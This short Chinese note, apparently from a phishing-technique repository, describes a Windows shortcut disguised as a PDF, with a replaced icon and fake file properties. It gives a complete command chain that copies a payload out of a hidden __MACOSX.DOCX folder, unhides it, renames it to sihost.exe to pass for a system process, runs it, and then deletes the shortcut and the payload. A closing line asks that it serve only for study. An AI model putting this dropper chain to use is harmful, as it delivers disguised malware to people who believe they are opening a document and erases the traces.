参考 www.x86matthew.com 的项目,原文链接已删除。 2023年7月份改的代码,主要配合bat/vbs脚本调用,图标替换通过010editor进行修改,之前本想将其写成个 操作友好的工具,但由于部分原因没弄成.
test处可伪装成正常打开pdf时显示的内容(类型、大小、修改日期)
参考 https://www.cnblogs.com/f-carey/p/16542156.html#tid-sywapk
xcopy /h /y %cd%__MACOSX.DOCX\calc.tmp %temp%\ & attrib -s -a -h %temp%\calc.tmp & rename %temp%\calc.tmp sihost.exe & attrib -s -a -h %cd%__MACOSX.DOCX\calc.tmp & start %temp%\sihost.exe & del "calc.pdf.lnk" & del /F /A /Q %cd%__MACOSX.DOCX\calc.tmp
打开隐藏后效果如下,正常情况默认隐藏 .__MACOSX 文件夹

2023年时候用的方法,仅作为一种钓鱼思路进行参考学习,切勿被恶意使用!!!